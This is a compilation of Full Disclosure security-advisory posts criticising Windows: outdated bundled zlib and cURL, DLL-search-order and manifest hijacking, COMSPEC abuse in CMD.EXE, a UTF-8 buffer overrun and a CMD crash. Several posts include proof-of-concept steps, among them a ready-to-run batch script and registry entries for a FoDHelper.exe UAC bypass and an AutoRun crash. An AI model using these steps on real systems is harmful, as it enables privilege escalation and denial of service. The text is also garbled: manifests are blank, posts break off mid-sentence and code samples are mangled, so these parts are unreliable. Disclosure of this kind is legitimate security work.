[FD] Defense in depth -- the Microsoft way (part 87): shipping more rotten software to billions of unsuspecting customers

[Stefan Kanthak]

Hi @ll,

this post is a continuation of
<https://seclists.org/fulldisclosure/2023/Oct/17> and
<https://seclists.org/fulldisclosure/2021/Oct/17>

With the release of .NET Framework 4.8 in April 2019, Microsoft updated
the following paragraph of the MSDN article "What's new in .NET Framework"
<https://msdn.microsoft.com/en-us/library/ms171868.aspx>

| Starting with .NET Framework 4.5, the clrcompression.dll assembly uses
| Zlib <https://zlib.net/>, a native external library for data compression,
| in order to provide an implementation for the deflate algorithm.
| The .NET Framework 4.8 version of clrcompression.dll is updated to use
| ZLib Version 1.2.11, which includes several key improvements and fixes.

According to the MSKB articles
<https://support.microsoft.com/en-us/kb/4486081>,
<https://support.microsoft.com/en-us/kb/4486105>,
<https://support.microsoft.com/en-us/kb/4486129> and
<https://support.microsoft.com/en-us/kb/4486153>, .NET Framework 4.8 is
available for Windows 8.1, Windows Server 2012, Windows Server 2012 R2,
Windows 10 version 1607 and above, and Windows Server 2016 and above.

According to the zlib change log <https://zlib.net/ChangeLog.txt>,
1.2.11 (January 15, 2017) was the current version then; later versions are
- 1.2.12 (March 27, 2022),
- 1.2.13 (October 13, 2022),
- 1.3(August 18, 2023),
- 1.3.1  (January 22, 2024).

Stupid^WSilly question: has Microsoft updated the zlib shipped with
.NET Framework 4.8, either through cumulative updates or the release of
.NET Framework 4.8.1 in August 2022 (see MSKB article
https://support.microsoft.com/en-us/kb/5011048)?

MOST OBVIOUS ANSWER: NO, OF COURSE NOT!

.NET Framework 4.8.1 shipped with clrcompression.dll 4.8.9037.0, built
June 24, 2022, 3 months after release of zlib 1.2.12; Microsoft continued
to ship the SUPERCEDED zlib 1.2.11 until April 9, 2024, i.e. more than
SEVEN years after its release!

Several of the MSKB articles for the April 2024 cumulative updates for
.NET Framework 4.x show the following telltale paragraph:

| .NET Framework Defense in Depth Vulnerability
| This security update addresses an issue where version of the
| OSS zlib library is out of date.

stay tuned, and far away from crap built with ROTTEN components
Stefan Kanthak

PS: to preserve your mental health, don't run the following commands:

DIR /S "%SystemDrive%\clrcompression.dll"
FINDSTR.exe /S "flate.1\.[1-9]\.[1-9]" "%SystemDrive%\clrcompression.dll"

PPS: 
<https://download.microsoft.com/download/0/4/f/04f98ada-465c-4b46-8014-891619317b52/5036894.csv>

| "curl.exe","8.4.0.0","05-Apr-2024","16:10","588,848"
| "curl.exe","8.4.0.0","05-Apr-2024","16:10","471,600"
| "curl.exe","8.4.0.0","05-Apr-2024","16:10","531,912"
| "curl.exe","8.4.0.0","05-Apr-2024","17:49","601,544"
| "curl.exe","8.4.0.0","05-Apr-2024","17:48","531,912"

cURL 8.4.0 is more than six months old, and has 5 CVEs, all
fixed since cURL 8.6.0, released January 31, 2024
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 86): shipping rotten software to billions of unsuspecting customers

[Stefan Kanthak]

Hi @ll,

the 7 cURL versions after 8.0.1, released March 20, 2023,
<https://curl.se/docs/releases.html>, fix the following 3
vulnerabilities <https://curl.se/docs/vulnerabilities.html>:
CVE-2023-38039 <https://curl.se/docs/CVE-2023-38039.html>
CVE-2023-38545 <https://curl.se/docs/CVE-2023-38545.html>
CVE-2023-38546 <https://curl.se/docs/CVE-2023-38546.html>


Once again (really: for several months), in their VERY finite wisdom
(really: almost INFINITE sloppy- and lazyness), Microsoft but dares to
ship rotten and vulnerable software (i.e. cURL.exe 8.0.1) to billions
of unsuspecting customers, i.e. they fail MISERABLY in following their
own mantra "Keep your (build) systems patched".


The MSKB article <https://support.microsoft.com/en-us/kb/5031354>
titled "October 10, 2023-KB5031354 (OS Build 22621.2428)" provides
the following "file information" for Windows 11 22H2
<https://download.microsoft.com/download/5/4/4/544a5341-96a2-491f-9563-bf260206564f/5031354.csv>:

| "curl.exe","8.0.1.0","01-Oct-2023","02:06","559,616"
...
| "curl.exe","8.0.1.0","01-Oct-2023","02:06","445,952"
...
| "curl.exe","8.0.1.0","01-Oct-2023","02:06","498,688"
...
| "curl.exe","8.0.1.0","01-Oct-2023","02:24","566,272"
...
| "curl.exe","8.0.1.0","01-Oct-2023","02:24","498,688"


The MSKB article <https://support.microsoft.com/en-us/kb/5031356>
titled "October 10, 2023-KB5031356 (OS Builds 19044.3570 and 19045.3570)"
provides the following "file information" for Windows 10 22H2
<https://download.microsoft.com/download/e/9/9/e994fe4f-a5fe-49ae-ac4d-ce139efd147d/5031356.csv>:

| "curl.exe","8.0.1.0","30-Sep-2023","21:45","559,616"
...
| "curl.exe","8.0.1.0","30-Sep-2023","21:45","445,952"
...
| "curl.exe","8.0.1.0","30-Sep-2023","21:45","498,688"
...
| "curl.exe","8.0.1.0","30-Sep-2023","23:39","566,272"
...
| "curl.exe","8.0.1.0","30-Sep-2023","23:39","498,688"
...
| "curl.exe","8.0.1.0","30-Sep-2023","21:21","498,688"


The MSKB article <https://support.microsoft.com/en-us/kb/5031358>
titled "October 10, 2023-KB5031358 (OS Build 22000.2538)" provides
the following "file information" for Windows 11 21H2
<https://download.microsoft.com/download/0/1/7/01776958-e4d8-4015-82c9-72539ce3cbcc/5031358.csv>:

| "curl.exe","8.0.1.0","30-Sep-2023","20:15","559,616"
...
| "curl.exe","8.0.1.0","30-Sep-2023","20:15","445,952"
...
| "curl.exe","8.0.1.0","30-Sep-2023","20:15","498,688"
...
| "curl.exe","8.0.1.0","30-Sep-2023","22:23","566,272"
...
| "curl.exe","8.0.1.0","30-Sep-2023","22:23","498,688"


The MSKB article <https://support.microsoft.com/en-us/kb/5031361>
titled "October 10, 2023-KB5031361 (OS Build 17763.4974)" provides the
following "file information" for Windows 10 1809, Windows Server 1809,
and Windows Server 2019
<https://download.microsoft.com/download/2/8/9/289b2614-512f-4284-a36d-b1e7fee365bd/5031361.csv>:

| "curl.exe","8.0.1.0","29-Mar-2023","21:55","559,616"
...
| "curl.exe","8.0.1.0","29-Mar-2023","22:28","445,952"
...
| "curl.exe","8.0.1.0","29-Mar-2023","22:13","498,688"
...
| "curl.exe","8.0.1.0","29-Mar-2023","22:36","566,272"
...
| "curl.exe","8.0.1.0","29-Mar-2023","22:13","498,688"
...
| "curl.exe","8.0.1.0","30-Mar-2023","05:13","498,688"


stay tuned, and far away from rotten software oozing out of Redmond
Stefan Kanthak
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 85): escalation of privilege plus remote code execution with HVCISCAN.exe

[Stefan Kanthak]

Hi @ll,

about a month ago Microsoft published HVCIScan-{amd,arm}64.exe, a
"Tool to check devices for compatibility with memory integrity (HVCI)"

The "Install instructions" on the download page
<https://www.microsoft.com/en-us/download/105217> tell:

| Download the hvciscan.exe for your system architecture (AMD64 or ARM64).
| From an elevated command window or PowerShell, run hvciscan.exe

"ELEVATED" sounds good, especially when such a vulnerable tool is run
from the "Downloads" folder, where a file HVCIScan_amd64.exe.manifest,
HVCIScan_arm64.exe.manifest or VBSAPI.dll can be placed via "drive-by"
download or by the (unsuspecting) unelevated user who still abuses the
"protected administrator" account created during Windows setup.

Oops, one step back: how did I determine
a) that HVCIScan-*.exe is vulnerable
b) these filenames?

Open an UNELEVATED command window and run
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_amd64.exe
and/or
LINK.exe /DUMP /DEPENDENTS /LOADCONFIG /SUMMARY HVCIScan_arm64.exe
then inspect the output.

| Dump of file HVCIScan_amd64.exe
|
| File Type: EXECUTABLE IMAGE
|
|   Image has the following dependencies:
|
| KERNEL32.dll
| msvcrt.dll
| VbsApi.dll
  ~~
|   Section contains the following load config:
|
...
|  Dependend load flags
...
|   Summary
|
| 1000 .data
| 1000 .pdata
| 2000 .rdata
| 1000 .reloc
| 1000 .text


OUCH: the guys at M$FT built these tools without embedded "application
  manifest" (which would have been placed in a ".rsrc" section),
  so Windows will apply an external "application manifest", and
  without /DEPENDENTLOADFLAG:2048, so Windows will search dependent
  DLLs not listed as "Known DLL" in the "application directory"
  first.

Both omissions^WBEGINNER'S MISTAKES allow to load and execute ARBITRARY
DLLs from ARBITRARY paths that run with the (ELEVATED) credentials of
the application!

"Trustworthy Computing" anyone? Or "Security Development Lifecycle"?
<https://www.microsoft.com/en-us/securityengineering/sdl>


Proof of concept #1:


a) Open an UNELEVATED command window in the directory where you saved
   HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe

b) Create an empty file VbsApi.dll next to the executable:

   COPY NUL: VbsApi.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
   message that VbsApi.dll can't be loaded.


Building a VbsApi.dll with the exports required by HVCIScan-a??64.exe
to actually load and execute VbsApi.dll is left as an exercise to the
reader.

See <https://skanthak.homepage.t-online.de/minesweeper.html> if you
need help.


Proof of concept #2:


a) Create the text file HVCISCAN_amd64.exe.manifest respectively
   HVCISCAN_arm64.exe.manifest with the following content next to
   HVCISCAN_amd64.exe respectively HVCISCAN_arm64.exe:

--- HVCISCAN_a??64.exe.manifest ---













--- EOF ---

   Replace the UNC path \\SERVER\SHARE\arbitrary.dll with any local or
   remote path where you can create the specified file.

   NOTE: the section "trustInfo" is optional.

   NOTE: KERNEL32.dll and MSVCRT.dll are "Known DLLs".

b) Create an empty file arbitrary.dll in the specified network share or
   local directory:

   COPY NUL: \\SERVER\SHARE\arbitrary.dll

c) Run HVCISCAN_amd64.exe or HVCISCAN_arm64.exe and admire the error
   message that a required DLL or an entry point is not found.


Building \\SERVER\SHARE\arbitrary.dll with the exports required by
HVCIScan-a??64.exe to actually load and execute arbitrary.dll is left
as an exercise to the reader.


stay tuned, and far away from "tools" made in Redmond
Stefan Kanthak
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 84): (no) fun with %COMSPEC%

[Stefan Kanthak]

Hi @ll,

the documentation of the builtin START command

of Windows NT's command processor CMD.EXE states:

| When you run a command that contains the string "CMD" as the first
| token without an extension or path qualifier, "CMD" is replaced
| with the value of the COMSPEC variable.
| This prevents users from picking up cmd from the current directory. 
  ~~~

REALLY?

Demonstration:
~~

0) Start the command processor via Start->Run %COMSPEC%

1) Show that START CMD ... works:

   START CMD /C PAUSE

2) Change the current directory to your TEMP directory
   (or any other directory where you are allowed to create files)
   and create an empty file CMD.EXE there:

   CHDIR /D "%TEMP%"
   COPY NUL: CMD.EXE

3) (Try to) execute this file to show the error messages to expect:

   .\CMD.EXE
   "%CD%\CMD.EXE"
   "%TEMP%\CMD.EXE"

   This yields a popup "This app can't run on your PC. ..." and an
   error message "Access denied".

4) Run the command from step 1) again:

   START CMD /C PAUSE

   Popup and error message from step 3) are shown again!

   OUCH: Contrary to the documentation cited above,
 START CMD 
 but "picks up" CMD.EXE from the current directory.

5) Rename the empty file CMD.EXE to CMD.COM and repeat step 4)

   RENAME CMD.EXE CMD.COM
   START CMD /C PAUSE

   Popup and error message from steps 4) and 5) are shown again!

   OUCH: Contrary to the documentation cited above,
 START CMD 
 also "picks up" CMD.COM from the current directory.

6) Rename the empty file CMD.COM to CMD.BAT, write the strings
   ECHO and VERIFY to it and repeat step 4)

   RENAME CMD.COM CMD.BAT
   ECHO 1>CMD.BAT ECHO
   ECHO 1>>CMD.BAT VERIFY
   START CMD /C PAUSE

   This yields the following output

| ECHO is on
| VERFIY is on

   OUCH: Contrary to the documentation cited above,
 START CMD 
 also "picks up" CMD.BAT from the current directory.

   JFTR: repetition of step 6) with other extensions from the
 environment variable PATHEXT is left as an exercise
 to the reader.

7) Give another START command a try:

   START EXIT

   A second command processor starts and exits immediately.

8) Set the variable COMSPEC to the pathname of an arbitrary
   program (here: %SystemRoot%\System32\REG.EXE) and run the
   START command from step 7) again:

   SET COMSPEC=%SystemRoot%\System32\REG.EXE
   START EXIT

   This yields the following output

| ERROR: Invalid Argument/Option - '/K'.
| Type "REG /?" for usage.

   OOPS: START  evaluates the variable COMSPEC and
 runs an ARBITRARY executable!

   JFTR: notice the switch /K fed to the executable.

9) Run 2 arbitrary (builtin) commands in a pipeline

   ECHO | SHIFT

   This yields the following output

| ERROR: Invalid Argument/Option - '/S'.
| Type "REG /?" for usage.
| ERROR: Invalid Argument/Option - '/S'.
| Type "REG /?" for usage.

   OOPS: the command processor runs each command of a pipeline in
 a NEW process determined by the contents of the variable
 COMSPEC!

   JFTR: notice the switch /S fed to the executable.

10) Set the variable COMSPEC to an EMPTY value, i.e. remove it,
and repeat step 8)

SET COMSPEC=
START EXIT

This yields the MISLEADING error message
"The environment variable COMSPEC does not point to CMD.EXE."

The correct error message is but
"The environment variable COMSPEC is missing."

11) Repeat step 9)

BREAK | TYPE

OUCH: the command processor CRASHES with an access violation
  reading address 0


This ABSOLUTE BEGINNER's programming error is listed as
"CWE 476: NULL Pointer Dereference"



The weakness demonstrated in steps 8) and 9) is listed as 
"CWE-73: External Control of File Name or Path"
, the
WELL-KNOWN attacks on it are listed as
"CAPEC-13: Subverting Environment Variable"



The weakness demonstrated in steps 4) to 6) is listed as
"CWE-426: Untrusted Search Path"
 and/or
"CWE-427: Uncontrolled Search Path Element"
, the
WELL-KNOWN attacks on it are listed as
"CAPEC-471: Search Order Hijacking"



stay tuned, and far away from Microsoft's POORLY written crap
Stefan
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 83): instead to fix even their most stupid mistaskes, they spill barrels of snakeoil to cover them (or just leave them as-is)

[Stefan Kanthak]

Hi @ll,

with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registry
branch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and
[HKEY_CURRENT_USER\Software\Classes] with the latter having precedence:
<https://msdn.microsoft.com/en-us/library/ms724498.aspx>

Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by
  (privileged) administrators, [HKEY_CURRENT_USER\Software\Classes]
  is writable by the (current) unprivileged user.

With Windows Vista they introduced the "security theatre" called
"User Account Control" (a far better name is "qUACkery"):

<https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/>

| User Account Protection was the preliminary name for a core security
| component of Windows Vista. The component has now been officially named
| User Account Control (UAC).

The qUACkery sort of lobotomises administrator accounts and splits their
brain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs run
from it use a restricted access token without administrative privileges.
For the (not so few) programs which but need administrative privileges,
Microsoft introduced a "kill switch" in the application manifest:

<https://msdn.microsoft.com/en-us/library/aa374191.aspx>
<https://msdn.microsoft.com/en-us/library/bb756929.aspx>

| 
|
|   
|  
|   
|
| 

With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introduced
with Windows 2000 became but a can of worms: in STANDARD installations of
Windows, applications running with administrative privileges, i.e. an
integrity level above "Medium", now evaluate registry settings (COM CLSIDs,
ProgIDs, URL protocols, ...) which are under control of the unprivileged
user.

<https://msdn.microsoft.com/en-us/library/ms724498.aspx>

| If an application is run with administrator rights and User Account
| Control is disabled, the COM runtime ignores per-user COM configuration
| and accesses only per-machine COM configuration.

<https://msdn.microsoft.com/en-us/library/bb756926.aspx>

| Beginning with Windows Vista® and Windows Server® 2008, if the
| integrity level of a process is higher than Medium, the COM runtime
| ignores per-user COM configuration and accesses only per-machine
| COM configuration. This action reduces the surface area for elevation
| of privilege attacks, preventing a process with standard user privileges
| from configuring a COM object with arbitrary code and having this code
| called from an elevated process.

OOPS: COM CLSIDs have been removed from the can of worms.

But what about ProgIDs and URL protocols?
<https://msdn.microsoft.com/en-us/library/cc144152.aspx>

Demonstration:
~~

1) Start the command processor in the user account created during
   Windows setup;

2) Execute the "Feature on Demand" helper application FoDHelper.exe
   (which requires administrative privileges, but elevates SILENTLY),
   then close the "Immersive Control Panel" window it opened;

3) Add the following registry entries to replace the application run
   by the elevated FoDHelper.exe from "Immersive Control Panel" to
   "Windows Command Processor" (or an arbitrary other one):

   [HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command]
   @="C:\\Windows\\System32\\Cmd.exe"

   [HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
   @="qUACkery"

4) Execute FoDHelper.exe again;

5) Remove the registry entries created in step 3.


If you prefer a batch script:

--- quackery.cmd
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" 
/VE /T REG_SZ /D "%COMSPEC%" /F
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T 
REG_SZ /D "qUACkery" /F
FoDHelper.exe
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /F
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F
--- EOF ---


OOPS: Windows Defender blocks the execution of FoDHelper.exe


Spoiler: installation of another anti-virus, for example McAfee,
 Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro,
     deactivates Windows Defender and lets FoDHelper.com run
 an arbitrary application elevated, without UAC prompt.


stay tuned, and far away from the eternally vulnerable crap oozing out of 
Redmond
Stefan Kanthak

PS: finding the applications which call the ProgIDs/URL protocols
ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular,
ms-settings-connectabledevices, ms-settings-displays-topology,
ms-settings-emailandaccounts, ms-settings-language, ms-settings-location,
ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications,
ms-settings-power, ms-

[FD] Defense in depth -- the Microsoft way (part 82): INVALID/BOGUS AppLocker rules disable SAFER on Windows 11 22H2

[Stefan Kanthak]

Hi @ll,

in Windows 11 22H2. some imbeciles from Redmond added the following
(of course WRONG and INVALID) registry entries and keys which they
dare to ship to their billion world-wide users:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp]
"RuleCount"=dword:0002
"LastWriteTime"=hex(b):01,00,00,00,00,00,00,00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Srp\Gp\DLL]

JFTR: the time stamp is 100ns past midnight on 1601-01-01;
  the rule count is wrong too, there are ZERO rules.

Although these entries are bogus and no rules are actually present,
they disable SAFER as documented, for example in


FIX: remove these registry entries and/or keys to enable SAFER again!

stay tuned, and far away from the crap made in Redmond
Stefan
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 81): enabling UTF-8 support breaks existing code

[Stefan Kanthak]

Hi @ll,

almost 4 years ago, with Windows 10 1903, after more than a year
beta-testing in insider previews, Microsoft finally released UTF-8
support for the -A interfaces of the Windows API.

0) 
<https://docs.microsoft.com/en-us/windows/uwp/design/globalizing/use-utf8-code-page#activeCodePage>

   | If the ANSI code page is configured for UTF-8, -A APIs typically
   | operate in UTF-8. This model has the benefit of supporting
   | existing code built with -A APIs without any code changes.

   The last claim is but a bloody DANGEROUS lie!
   As shown hereafter, it must read instead:
   "This model has the malefit of causing buffer overruns in existing
code!"


1) For 30 years, the documentation of the -A interfaces for file and
   directory management of the Win32 API states:
   "The maximum path name length is 260 characters."

   See <https://msdn.microsoft.com/en-us/library/aa363855.aspx>
   "CreateDirectoryA function" for example:

   | For the ANSI version of this function, there is a default string
   | size limit for paths of 248 characters (MAX_PATH - enough room
   | for a 8.3 filename). ...
   ...
   | The 255 character limit per path segment still applies.

   This constitutes a contractual GUARANTEE for the product behaviour!


2) The documentation for the file systems supported by Windows says
   too "The maximum length of a file name segment is 255 characters."
   See <https://msdn.microsoft.com/en-us/library/ee681827.aspx>
   "File System Functionality Comparison"


3) With these 2 contractually GUARANTEED preconditions, the following
   code is safe, i.e. not susceptible to a buffer overrun:
   CreateDirectoryA() fails as soon as szPath exceeds the documented
   limit which is less than the buffer size of 260 characters.

   CHAR szANSI[] = "€"; // or one of the following other 122 characters
// from ANSI code page 1252:
// ‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ 
¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂ
// 
ÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ
   CHAR szPath[MAX_PATH] = "";
   do
  strcat(szPath, szANSI);
   while (CreateDirectoryA(szPath));


4) With UTF-8 support enabled, the same code now suffers from a
   buffer overrun:

   CHAR szUTF8[] = u"€"; // or "\xE2\x82\xAC"
   CHAR szPath[MAX_PATH] = "";
   do
  strcat(szPath, szUTF8);
   while (CreateDirectoryA(szPath), NULL);

   STRIKE 1!


5) Given the 2 guarantees from 1) and 2), the following code is
   also safe and not susceptible to a buffer overrun: see
   <https://msdn.microsoft.com/en-us/library/aa365740.aspx>
   "WIN32_FIND_DATAA structure" and "FindFirstFile function"
   <https://msdn.microsoft.com/en-us/library/aa364418.aspx>

   wfd.cFileName can NEVER receive a file/directory name longer
   than 255 characters, so the concatenation of C: or .\ (as
   well as C:\ and ..\ too) and wfd.cFileName NEVER overruns a
   buffer of MAX_PATH!

   #define PATTERN "C:*" // or "C:\\*" or ".\\*" or "..\\*"

   WIN32_FIND_DATAA wfd;
   CHAR szPath[MAX_PATH] = PATTERN;
   HANDLE hFind = FindFirstFileA(szPath, );
   if (hFind != INVALID_HANDLE_VALUE) {
  do {
 strcat(szPath + strlen(PATTERN) - 1, wfd.cFileName);
 GetFileAttributesA(szPath); // do something with the
 ... // found file system objects
  } while (FindNextFile(hFind, ));
  FindClose(hFind);
   }


6) With UTF-8 support enabled and a file or directory named
   
€€
   (or other 86 characters from the above 123) present in the
   CWD of drive C:, FindFirstFileA() (and FindNextFileA() too)
   return a string of 86 * 3 = 258 characters in wfd.cFileName
   which causes a buffer overrun in previously safe code!

   STRIKE 2!


7) The following code enumerates ALL file system objects in a
   (root) directory or network share:

   WIN32_FIND_DATAA wfd;
   HANDLE hFind = FindFirstFileA("host\\share\\*", );
   if (hFind != INVALID_HANDLE_VALUE) {
  do { // code to process wfd.cFileName omitted
  } while (FindNextFile(hFind, ));
  FindClose(hFind);
   }


8) With UTF-8 support enabled and a directory or file named
   
€€€
   (i.e. 87 or more of the 123 characters from above) present,
   both FindFirstFile() and FindNextFile() FAIL with the
   previously impossible, NEVER encountered Win32 error code
   234 alias ERROR_MORE_DATA: wfd.cFileName is to short for
   UTF-8 encoded file/directory segment names!

   STRIKE 3!


stay tuned, and far away from UTF-8 in Windows
Stefan Kanthak

PS: for the full story of Microsoft's EPIC failures with UTF-8
in Win

[FD] Defense in depth -- the Microsoft way (part 80): 25 (in words: TWENTY-FIVE) year old TRIVIAL bug crashes CMD.exe

[Stefan Kanthak]

Hi @ll,

the subject says it all: a 25 year old TRIVIAL signed integer
arithmetic bug (which may well have earned a PhD now) crashes
Windows' command interpreter CMD.exe via its builtin SET command.
See their documentation:
<https://technet.microsoft.com/en-us/library/cc771320.aspx>
<https://technet.microsoft.com/en-us/library/cc754250.aspx>


Classification
~~

<https://cwe.mitre.org/data/definitions/190.html>
CWE-190: Integer Overflow or Wraparound

<https://cwe.mitre.org/data/definitions/248.html>
CWE-248: Uncaught Exception


Demonstration
~

On Windows NT4 or any newer version start the command interpreter and
run the following 4 command lines (the first 3 set just the base):

SET /A -2147483648
SET /A ~2147483647
SET /A ~2147483647 / -1
SET /A ~2147483647 % -1

[1] Oops: although a valid signed 32-bit integer, the command interpreter
  reports the literal value -2147483648 = 2**31 alias INT_MIN as
  "Invalid number. Numbers are limited to 32-bits of precision."

[2] As expected, ~2147483647, the negation of INT_MAX, yields INT_MIN

[3] Also as expected, computing the quotient of INT_MIN / -1 produces
"Invalid number. Numbers are limited to 32-bits of precision.": the
correct result is +2147483648 alias INT_MAX + 1, i.e. produces a
integer overflow, which raises a #DE (divide error) exception on
x86/x64 processors (and their 8- and 16-bit predecessors too).

[4] OUCH: rather unexpected, computing the remainder of INT_MIN / -1
  crashes the command processor with the #DE exception, i.e.
  the developers failed to implement the check they used for
  division.

JFTR: the remainder of  % -1 as well as  % 1
  is (by the algebraic definition of division) 0 (in words: ZERO):
  the remainder is in magnitude less than the divisor.
  The only integer that is in magnitude less than |-1| = 1 is 0!


Exploit
~~~

Setting one or both of the following documented registry entries
crashes the command interpreter upon invocation (unless started
with the switch /D):

[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="SET /A ~2147483647 % ~0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="SET /A ~2147483647 % ~0"


stay tuned
Stefan Kanthak

PS: I reported this bug as DoS to the MSRC; they replied with the
following bullshit statement in their 2nd sentence:

| Though engineering confirmed the crash in this case, it was assessed
| as a Low severity DoS.
| Their reasoning centers around the requirement to have admin
| privileges to pull off the attack.

OUCH! Unprivileged users can but write this registry entry below
  [HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 79): Local Privilege Escalation via Windows 11 Installation Assistant

[Stefan Kanthak]

Hi @ll,

<https://www.microsoft.com/en-us/software-download/windows11>
offers the "Windows 11 Installation Assistant" to unsuspecting users.

The link <https://go.microsoft.com/fwlink/?linkid=2171764>
underneath the first [Download Now] button forwards to
<https://download.microsoft.com/download/3/a/9/3a9e2fe1-96e7-4514-8744-f3a9731f91c7/Windows11InstallationAssistant.exe>

| C:\Users\Stefan\Downloads>curl.exe -q -I -L 
"https://go.microsoft.com/fwlink/?linkid=2171764;
| HTTP/1.1 302 Moved Temporarily
| Content-Length: 0
| Location: 
https://download.microsoft.com/download/3/a/9/3a9e2fe1-96e7-4514-8744-f3a9731f91c7/Windows11InstallationAssistant.exe
...
| HTTP/1.1 200 OK
| Content-Length: 4245056
| Content-Type: application/octet-stream
| Content-MD5: CxHl1wKGL9HpY/45rdPqgg==
| Last-Modified: Mon, 04 Oct 2021 21:14:30 GMT

According to this, Windows11InstallationAssistant.exe is quite new.
BUT:

| C:\Users\Stefan\Downloads>link.exe /dump /dependents /headers /loadconfig 
Windows11InstallationAssistant.exe
...
| OPTIONAL HEADER VALUES
|  10B magic # (PE32)
|14.20 linker version

OUCH: the executable was built with an ANCIENT software development kit!

JFTR: the Windows 11 Media Creation Tool
  
<https://software-download.microsoft.com/download/pr/888969d5-f34g-4e03-ac9d-1f9786c69161/MediaCreationToolW11.exe>
  offered on the same web page shows "14.28 linker version",
  i.e. a current SDK!

|  Section contains the following load config:
|
|00AC size
...
| Dependent Load Flags

OUCH: the unexperienced junior programmers who built the executable
  exercise "vulnerability at large" instead of "defense in depth"!

See <https://docs.microsoft.com/en-us/cpp/build/reference/dependentloadflag>
plus <https://skanthak.homepage.t-online.de/detour.html>

JFTR: the Windows 11 Media Creation Tool offered on the same web page
  shows "0800 Dependent Load Flags", i.e. restricts loading of
  DLLs to Windows' system directory!

|  Image has the following dependencies:
|
|ADVAPI32.dll
|KERNEL32.dll
|USER32.dll
|msvcrt.dll
|ole32.dll
|RPCRT4.dll
|SHELL32.dll
|SHLWAPI.dll
|Cabinet.dll
|VERSION.dll
|ntdll.dll
|PSAPI.DLL
|bcrypt.dll

OUCH: the executable depends on a bunch of "unknown" DLLs which the
  NT module loader will fetch from the application directory,
  typically the user's "Downloads" folder, instead from Windows'
  system directory!

See <https://capec.mitre.org/data/definitions/471.html>,
<https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html>,
<https://msdn.microsoft.com/en-us/library/ms682586.aspx> and
<https://blogs.technet.microsoft.com/srd/2014/05/13/load-library-safely/>

|
|  
| 
|https://skanthak.homepage.t-online.de/download/FORWARDX.CAB>
   (see <https://skanthak.homepage.t-online.de/minesweeper.html>
   for build instructions)

2. Extract the contents of the directory "10\i386" from within
   FORWARDX.CAB to your "Downloads" folder.

3. Visit <https://www.microsoft.com/en-us/software-download/windows11>,
   then fetch the "Windows 11 Installation Assistant" and save it
   in your "Downloads" folder.

4. Start the downloaded Windows11InstallationAssistant.exe per
   double-click, answer the UAC prompt and admire the dialog boxes
   displayed from the following DLLs loaded from the "Downloads"
   folder:
  bcrypt.dll
  PROPSYS.dll   (loaded by SHELL32.dll, UNSAFE!)
  CFGMGR32.dll  (loaded by windows.storage.dll, UNSAFE!)
  edputil.dll
  VAULTCLI.dll
  urlmon.dll
  iertutil.dll
  srvcli.dll
  netutils.dll
  
GAME OVER!

stay tuned, and far away from such vulnerable crap
Stefan Kanthak

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Defense in depth -- the Microsoft way (part 78): completely outdated, vulnerable open source component(s) shipped with Windows 10&11

[Stefan Kanthak]

Hi @ll,

in December 2017, Microsoft announced to ship curl.exe and tar.exe
with Windows 10:
<https://docs.microsoft.com/en-us/virtualization/community/team-blog/2017/20171219-tar-and-curl-come-to-windows>

But they failed once again, MISERABLY, at least for curl: they took
the sources released 2017-11-14, let them rot for 2 years, applied
some patches, only to let them rot again since then!

| C:\Users\Public>winver
| Microsoft Windows [Version 10.0.19042.1083]
|
| C:\Users\Public>curl -V
